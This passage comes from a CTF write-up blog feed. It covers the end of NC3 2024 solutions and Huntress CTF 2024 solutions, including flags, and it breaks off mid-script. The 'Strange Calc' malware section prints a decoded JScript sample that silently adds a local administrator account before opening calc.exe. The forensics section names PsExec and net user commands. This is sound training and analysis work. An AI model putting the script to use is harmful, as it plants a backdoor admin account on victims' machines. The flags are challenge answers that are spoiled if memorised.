</span></span><span class="line"><span class="cl">    <span class="n">key_part</span> <span class="o">=</span> <span class="n">get_dis</span><span class="p">(</span><span class="n">check</span><span class="p">,</span><span class="n">layer</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;got key part: </span><span class="si">{</span><span class="n">key_part</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">+=</span> <span class="n">key_part</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;key is </span><span class="si">{</span><span class="n">key</span><span class="si">}</span><span class="s2">. generation new pyc&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">exit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="c1">#My code#</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">binobj</span> <span class="o">=</span> <span class="n">marshal</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">check</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;wrap_dis_1.txt&#34;</span><span class="p">,</span><span class="s2">&#34;w&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">dis</span><span class="o">.</span><span class="n">dis</span><span class="p">(</span><span class="n">binobj</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="n">file</span><span class="o">=</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># exec(binobj)</span>
</span></span><span class="line"><span class="cl"><span class="k">except</span> <span class="p">(</span><span class="ne">ValueError</span><span class="p">,</span> <span class="ne">EOFError</span><span class="p">,</span> <span class="ne">TypeError</span><span class="p">,</span> <span class="ne">SyntaxError</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;FEJL: Koden matcher ikke gaveindpakningen!&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>NC3{4n07h3r_0n3_4nd_Anoth3r_0n3!}</code></p>
<hr>
<h2 id="raided">Raided</h2>
<p>Midt- og Vestjyllands Politi har ransaget hos en mand i Viborg, der er mistænkt for at hacke Politiets systemer og downloade fortrolige dokumenter. På mandens adresse fandt de et par gemte devices samt to harddisks i et lille halvtomt rack.</p>
<p>Kredsen har carvet et par filer fra diskene, men formoder der er mere at komme efter, og de har derfor anmodet NC3 om assistance. Hjælp kredsen med at genskabe alt data, så de kan vurdere, om manden skal sigtes efter straffelovens § 263.</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/Forensics/disks.zip">disks.zip</a></p>
<p><strong>Løsning:</strong> Ud fra mappestrukturen på disken blev det identificeret, at data stammede fra en Linux-maskine. Diskene blev bundet til loop-enheder:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo losetup -fP disk_1  
</span></span><span class="line"><span class="cl">sudo losetup -fP disk_2
</span></span></code></pre></div><p>For at undersøge, hvordan diskene var en del af RAID-opsætningen, blev <code>mdadm</code> brugt til at examine partitionerne:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mdadm --examine /dev/loop1  
</span></span><span class="line"><span class="cl">sudo mdadm --examine /dev/loop2
</span></span></code></pre></div><p>Her blev det afsløret, at diskene var en del af et RAID-setup med <strong>fire diske</strong>.</p>
<p>Partitionen blev samlet med følgende kommando:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mdadm --assemble --run /dev/md0 /dev/loop1 /dev/loop2 --force
</span></span></code></pre></div><p>Dette samlede RAID-opsætningen til en ny enhed <code>/dev/md0</code>.</p>
<p>Den samlede partition blev mountet for at få adgang til filerne:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mount /dev/md0 /mnt
</span></span></code></pre></div><p>Inde i mappen kunne filerne nu ses.</p>
<p>Flaget blev fundet i filen <code>confidential_tlp_red.pdf</code>. Denne PDF indeholdt et billede med teksten: <code>NC3{raid_completed}</code></p>
<p>Flag: <code>NC3{raid_completed}</code></p>
<hr>
]]></content></item><item><title>Huntress CTF 2024 : Writeups</title><link>https://ha1fdan.xyz/en/posts/huntress-24/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/huntress-24/</guid><description>&lt;h1 id="huntress-ctf-2024"&gt;Huntress CTF 2024&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;User:&lt;/strong&gt; &lt;a href="https://huntress.ctf.games/users/3054"&gt;ha1fdan&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Total Score&lt;/strong&gt;: 1550 points @ 453rd place&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;I stopped solving challenges after October 22nd, since I went on vacation and didn&amp;rsquo;t have time to solve them.&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="solves"&gt;Solves:&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#technical-support"&gt;Technical Support&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#too-many-bits"&gt;Too Many Bits&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#read-the-rules"&gt;Read The Rules&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#matryoshkaqr"&gt;MatryoshkaQR&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#base64by32"&gt;Base64by32&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Scripting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#cattle"&gt;Cattle&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#nightmare-on-hunt-street"&gt;Nightmare on Hunt Street&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Challenge Group - Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#no-need-for-brutus"&gt;No need for Brutus&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#strange-calc"&gt;Strange Calc&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#russian-roulette"&gt;Russian Roulette&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#whamazon"&gt;Whamazon&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#red-phish-blue-phish"&gt;Red Phish Blue Phish&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Miscellaneous&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#unbelievable"&gt;Unbelievable&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#malibu"&gt;Malibu&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Miscellaneous&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#txt-message"&gt;TXT Message&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#mimi"&gt;Mimi&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#discount-programming-devices"&gt;Discount Programming Devices&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#mystery"&gt;Mystery&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#i-cant-ssh"&gt;I Can&amp;rsquo;t SSH&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#finders-fee"&gt;Finders Fee&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#zulu"&gt;Zulu&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Warmups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#linux-basics"&gt;Linux Basics&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Miscellaneous&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#keyboard-junkie"&gt;Keyboard Junkie&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#obfuscation-station"&gt;Obfuscation Station&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#strive-marish-leadman-typecdr"&gt;Strive Marish Leadman TypeCDR&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="score-over-time"&gt;Score over time:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/huntress24/Score_over_Time.png" alt="Score_over_Time.png"&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<h1 id="huntress-ctf-2024">Huntress CTF 2024</h1>
<p><strong>User:</strong> <a href="https://huntress.ctf.games/users/3054">ha1fdan</a></p>
<p><strong>Total Score</strong>: 1550 points @ 453rd place</p>
<p><strong><strong>I stopped solving challenges after October 22nd, since I went on vacation and didn&rsquo;t have time to solve them.</strong></strong></p>
<h2 id="solves">Solves:</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Category</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#technical-support">Technical Support</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#too-many-bits">Too Many Bits</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#read-the-rules">Read The Rules</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#matryoshkaqr">MatryoshkaQR</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#base64by32">Base64by32</a></td>
					<td>Scripting</td>
			</tr>
			<tr>
					<td><a href="#cattle">Cattle</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#nightmare-on-hunt-street">Nightmare on Hunt Street</a></td>
					<td>Challenge Group - Forensics</td>
			</tr>
			<tr>
					<td><a href="#no-need-for-brutus">No need for Brutus</a></td>
					<td>Cryptography</td>
			</tr>
			<tr>
					<td><a href="#strange-calc">Strange Calc</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#russian-roulette">Russian Roulette</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#whamazon">Whamazon</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#red-phish-blue-phish">Red Phish Blue Phish</a></td>
					<td>Miscellaneous</td>
			</tr>
			<tr>
					<td><a href="#unbelievable">Unbelievable</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#malibu">Malibu</a></td>
					<td>Miscellaneous</td>
			</tr>
			<tr>
					<td><a href="#txt-message">TXT Message</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#mimi">Mimi</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#discount-programming-devices">Discount Programming Devices</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#mystery">Mystery</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#i-cant-ssh">I Can&rsquo;t SSH</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#finders-fee">Finders Fee</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#zulu">Zulu</a></td>
					<td>Warmups</td>
			</tr>
			<tr>
					<td><a href="#linux-basics">Linux Basics</a></td>
					<td>Miscellaneous</td>
			</tr>
			<tr>
					<td><a href="#keyboard-junkie">Keyboard Junkie</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#obfuscation-station">Obfuscation Station</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#strive-marish-leadman-typecdr">Strive Marish Leadman TypeCDR</a></td>
					<td>Cryptography</td>
			</tr>
	</tbody>
</table>
<h2 id="score-over-time">Score over time:</h2>
<p><img src="/huntress24/Score_over_Time.png" alt="Score_over_Time.png"></p>
<h2 id="completed-challenges">Completed Challenges:</h2>
<hr>
<h3 id="technical-support">Technical Support</h3>
<p>Want to join the party of GIFs, memes and emoji shenanigans? Or just want to ask a question for technical support regarding any challenges in the CTF?</p>
<p><a href="https://huntress.ctf.games/discord">https://huntress.ctf.games/discord</a></p>
<p><img src="/huntress24/TechnicalSupportDiscord.png" alt="CyberSpace 2024 Discord"></p>
<p>Flag: <code>flag{a98373a74abb8c5ebb8f5192e034a91c}</code></p>
<hr>
<h3 id="too-many-bits">Too Many Bits</h3>
<p>What do all these ones and zero&rsquo;s mean!?! We are in the <strong>Warmups</strong> category after all&hellip;</p>
<p><code>01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101</code></p>
<p>Using <a href="https://cyberchef.org">https://cyberchef.org</a> I selected <strong>From Binary</strong> to decode the binary to text. Full Recipe link: <a href="https://cyberchef.org/#recipe=From_Binary('Space',8)&amp;input=MDExMDAxMTAgMDExMDExMDAgMDExMDAwMDEgMDExMDAxMTEgMDExMTEwMTEgMDExMDAxMDAgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMTAwMTAgMDExMDAwMDEgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMTAwMTEgMDAxMTAxMDAgMDExMDAwMTEgMDExMDAxMDAgMDExMDAwMDEgMDExMDAxMDAgMDAxMTAwMDEgMDExMDAxMDAgMDExMDAxMDAgMDExMDAxMDAgMDExMDAxMDEgMDAxMTAwMDAgMDAxMTAxMTAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMTEwMDAgMDExMDAxMTAgMDAxMTAwMTAgMDExMDAxMTAgMDExMTExMDE">Here</a></p>
<p>Flag: <code>flag{d01471702a10134cdad1ddde06678f2f}</code></p>
<hr>
<h3 id="read-the-rules">Read The Rules</h3>
<p>Please follow the rules for this CTF! <a href="https://huntress.ctf.games/rules">https://huntress.ctf.games/rules</a></p>
<p>By viewing the pages source code, we can find the flag.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="c">&lt;!-- Thank you for reading the rules! Your flag is: --&gt;</span>
</span></span><span class="line"><span class="cl"><span class="c">&lt;!--   flag{90bc54705794a62015369fd8e86e557b}       --&gt;</span>
</span></span></code></pre></div><p>Flag: <code>flag{90bc54705794a62015369fd8e86e557b}</code></p>
<hr>
<h3 id="matryoshkaqr">MatryoshkaQR</h3>
<p>Wow! This is a big QR code! I wonder what it says&hellip;?</p>
<p>Attachments: <a href="/huntress24/warmups/qrcode.png">qrcode.png</a></p>
<p>The first thing I did was to use CyberChef&rsquo;s Parse QR Code function to get the contents of the QR-code. I then wrote a little Python script to write the binary data to a file.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x89</span><span class="s2">PNG</span><span class="se">\r\n\x1a\n\x00\x00\x00\r</span><span class="s2">IHDR</span><span class="se">\x00\x00\x00</span><span class="s2">&#39;</span><span class="se">\x00\x00\x00</span><span class="s2">&#39;</span><span class="se">\x01\x00\x00\x00\x00\xa4\xd8</span><span class="s2">l</span><span class="se">\x98\x00\x00\x00\xf5</span><span class="s2">IDATx</span><span class="se">\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6</span><span class="s2">T~</span><span class="se">\xfa\x04\xe4\xff\x0f</span><span class="s2">h</span><span class="se">\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01</span><span class="s2">H</span><span class="se">\x00\x00\xbe\xd5\x95</span><span class="s2">J</span><span class="se">\xfa\x04\xc2</span><span class="s2">*</span><span class="se">\x15</span><span class="s2">`</span><span class="se">\x08\x00\xff\x9d</span><span class="s2">.</span><span class="se">\x9f\xfe\x04\xfd</span><span class="s2">#P</span><span class="se">\xc3\x0b\x02\x97\x0e</span><span class="s2">:</span><span class="se">\x07</span><span class="s2">d</span><span class="se">\x04</span><span class="s2">/vIg</span><span class="se">\x19\x00\xbb\xcd\xf3</span><span class="s2">-</span><span class="se">\xd2\x02\xfb\xd6</span><span class="s2">d</span><span class="se">\xb5\x88\x02</span><span class="s2">E</span><span class="se">\xc7</span><span class="s2">^</span><span class="se">\xdf\xfc\x00\x84\xfb\x13\xf3</span><span class="s2">J</span><span class="se">\x02\xfd\x88</span><span class="s2">a</span><span class="se">\xef</span><span class="s2">D</span><span class="se">\x00\xc8</span><span class="s2">t$</span><span class="se">\x90\n\x01\xc7\x01\xee</span><span class="s2">1</span><span class="se">\xf7\x04</span><span class="s2">3Q</span><span class="se">\x17\x0c</span><span class="s2">H</span><span class="se">\x01\xa5\x03\x1c</span><span class="s2">6d</span><span class="se">\x02\r\xf0\xbf</span><span class="s2">V$</span><span class="se">\x00\xcf\x13</span><span class="s2">d3</span><span class="se">\x06\x01\xee\x08</span><span class="s2">J</span><span class="se">\xf5</span><span class="s2">E</span><span class="se">\x00\x9b\xee\n\xac\xfa\x01\xea</span><span class="s2">|</span><span class="se">\xf2\xe8</span><span class="s2">6</span><span class="se">\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90</span><span class="s2">U%</span><span class="se">\x14\x00\xbf</span><span class="s2"> g</span><span class="se">\xa5\xee\x02\xfb</span><span class="s2">H</span><span class="se">\xf1</span><span class="s2">#4</span><span class="se">\x00\xff\xa1</span><span class="s2">!;</span><span class="se">\x86\x02\x81</span><span class="s2">VB</span><span class="se">\xdf\xfc\x04</span><span class="s2">&gt;</span><span class="se">\xb1</span><span class="s2">s</span><span class="se">\x00\x10\x02\xe4</span><span class="s2">&gt;</span><span class="se">\xab</span><span class="s2">-p</span><span class="se">\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcb</span><span class="s2">l5</span><span class="se">\x02\x1c\xfc\x85</span><span class="s2">;</span><span class="se">\xd0\x02\xc2\xfb\xe6</span><span class="s2">A</span><span class="se">\x00\x01\xff\x00\x00\x00\xff\xf9\xdb</span><span class="s2">_g</span><span class="se">\xf4\x9a\xdd</span><span class="s2">H</span><span class="se">\x00\x00\x00\x00</span><span class="s2">IEND</span><span class="se">\xae</span><span class="s2">B`</span><span class="se">\x82</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;img.png&#34;</span><span class="p">,</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span></code></pre></div><p>The new image is also a QR-code, so using CyberChef&rsquo;s Parse QR Code function again, we can get the contents of the QR-code wich is the flag.</p>
<p>Flag: <code>flag{01c6e24c48f48856ee3adcca00f86e9b}</code></p>
<hr>
<h3 id="base64by32">Base64by32</h3>
<p>This is a dumb challenge. I&rsquo;m sorry.</p>
<p>Attachments: <a href="/huntress24/scripting/base64by32.zip">base64by32.zip</a></p>
<p>Extracting base64by32 from the zip archive, we get a very big ASCII text file.</p>
<p>I made a litte script to decode it. The challange is named base64 by 32. Therefore i decided to use decode the contents with base64 32 times.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;base64by32&#34;</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">data</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">))</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>flag{8b3980f3d33f2ad2f531f5365d0e3970}</code></p>
<hr>
<h3 id="cattle">Cattle</h3>
<p>I know it&rsquo;s an esoteric challenge for a Capture the Flag, but could you herd these cows for me?</p>
<p>Attachments: <a href="/huntress24/warmups/cattle">cattle</a></p>
<p>Cows you say? Sounds and looks like the COW programming language. <a href="https://esolangs.org/wiki/COW">https://esolangs.org/wiki/COW</a></p>
<p>Lets use a COW Code decrypter like <a href="https://www.cachesleuth.com/cow.html">https://www.cachesleuth.com/cow.html</a></p>
<p>Flag: <code>flag{6cd6392eb609c6ae4c332ef6a321d9dd}</code></p>
<hr>
<h3 id="nightmare-on-hunt-street">Nightmare on Hunt Street</h3>
<p>DeeDee hears the screams,
In the logs, a chilling trace—
Freddy&rsquo;s waiting near.</p>
<p>Are you able to unravel the attack chain?</p>
<p>Attachments: <a href="/huntress24/challengegroup/logs-parts1-5.zip">logs-parts1-5.zip</a></p>
<ol>
<li>
<p><strong>What is the IP address of the host that the attacker used?</strong> Using a regex search I found <code>10.1.1.42</code> is the IP address of the host that the attacker used. Flag: <code>flag{10.1.1.42}</code></p>
</li>
<li>
<p><strong>How many times was the compromised account brute-forced?</strong> Searching for <code>Failure Reason:		Unknown user name or bad password.</code> we get 32 results. Flag: <code>flag{32}</code></p>
</li>
<li>
<p><strong>What is the name of the offensive security tool that was used to gain initial access?</strong> PsExec is known for executing commands on remote systems, it can also be used to gain initial access when exploiting existing credentials or configurations. Flag: <code>flag{psexec}</code></p>
</li>
<li>
<p><strong>How many unique enumeration commands were run with net.exe?</strong> 3 distinct commands: <code>net users</code>, <code>net localgroup</code>, and <code>net share</code>. Flag: <code>flag{3}</code></p>
</li>
<li>
<p><strong>What password was successfully given to the user created?</strong> When I where searching around in the file I found a lot of <code>net user</code> commands and the password was <code>Susan123!</code>. Flag: <code>flag{Susan123!}</code></p>
</li>
</ol>
<hr>
<h3 id="no-need-for-brutus">No need for Brutus</h3>
<p>A simple message for you to decipher:</p>
<p><code>squiqhyiiycfbudeduutvehrhkjki</code></p>
<p>Submit the original plaintext hashed with MD5, wrapped between the usual flag format: <code>flag{}</code></p>
<p>Brutus = Roman name, cipher is another famous Roman = Caesar Cipher: <a href="https://en.wikipedia.org/wiki/Caesar_cipher">https://en.wikipedia.org/wiki/Caesar_cipher</a></p>
<p>From there I used <a href="https://www.dcode.fr/caesar-cipher">https://www.dcode.fr/caesar-cipher</a> to decipher the message, wich gave me <code>caesarissimplenoneedforbrutus</code> - MD5 hash of the plaintext.</p>
<p>Flag: <code>flag{c945bb2173e7da5a292527bbbc825d3f}</code></p>
<hr>
<h3 id="strange-calc">Strange Calc</h3>
<p>I got this new calculator app from my friend! But it&rsquo;s really weird, for some reason it needs admin permissions to run??</p>
<p><strong>NOTE: Archive password is <code>strange_calc</code></strong></p>
<p>Attachments: <a href="/huntress24/malware/calc.zip">calc.zip</a></p>
<p>I started by running <code>file calc.exe</code> wich returned a PE32 executable, UPX compressed.
Using <code>apt install upx-ucl</code> and <code>upx -d calc.exe</code> we can uncompress the file. You should see the following -&gt; <code>Unpacked 1 file.</code></p>
<p>Next I used <a href="https://app.any.run">https://app.any.run</a> to run the application, after executing the exe It made some network requests and downloaded some encoded VBScript files, downloading <a href="/huntress24/malware/gqLAhzydmc.jse">one of them</a>, I opened it using <a href="https://cyberchef.org/">https://cyberchef.org/</a>'s Microsoft Script Decoder. That gave me:</p>
<pre tabindex="0"><code class="language-vbs" data-lang="vbs">function a(b){var c=&#34;&#34;,d=b.split(&#34;\n&#34;);for(var e=0;e&lt;d.length;e++){var f=d[e].replace(/^\s+|\s+$/g,&#39;&#39;);if(f.indexOf(&#34;begin&#34;)===0||f.indexOf(&#34;end&#34;)===0||f===&#34;&#34;)continue;var g=(f.charCodeAt(0)-32)&amp;63;for(var h=1;h&lt;f.length;h+=4){if(h+3&gt;=f.length)break;var i=(f.charCodeAt(h)-32)&amp;63,j=(f.charCodeAt(h+1)-32)&amp;63,k=(f.charCodeAt(h+2)-32)&amp;63,l=(f.charCodeAt(h+3)-32)&amp;63;c+=String.fromCharCode((i&lt;&lt;2)|(j&gt;&gt;4));if(h+2&lt;f.length-1)c+=String.fromCharCode(((j&amp;15)&lt;&lt;4)|(k&gt;&gt;2));if(h+3&lt;f.length-1)c+=String.fromCharCode(((k&amp;3)&lt;&lt;6)|l)}}return c.substring(0,g)}var m=&#34;begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#&lt;X.3!A-60Y,WT*\n`\nend&#34;;var n=a(m);var o=[&#34;net user LocalAdministrator &#34;+n+&#34; /add&#34;,&#34;net localgroup administrators LocalAdministrator /add&#34;,&#34;calc.exe&#34;];var p=new ActiveXObject(&#39;WScript.Shell&#39;);for(var q=0;q&lt;o.length-1;q++){p.Run(o[q],0,false)}p.Run(o[2],1,false);
</code></pre><p>Rewriting this to Python:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">decode</span><span class="p">(</span><span class="n">encoded_string</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">result</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">lines</span> <span class="o">=</span> <span class="n">encoded_string</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
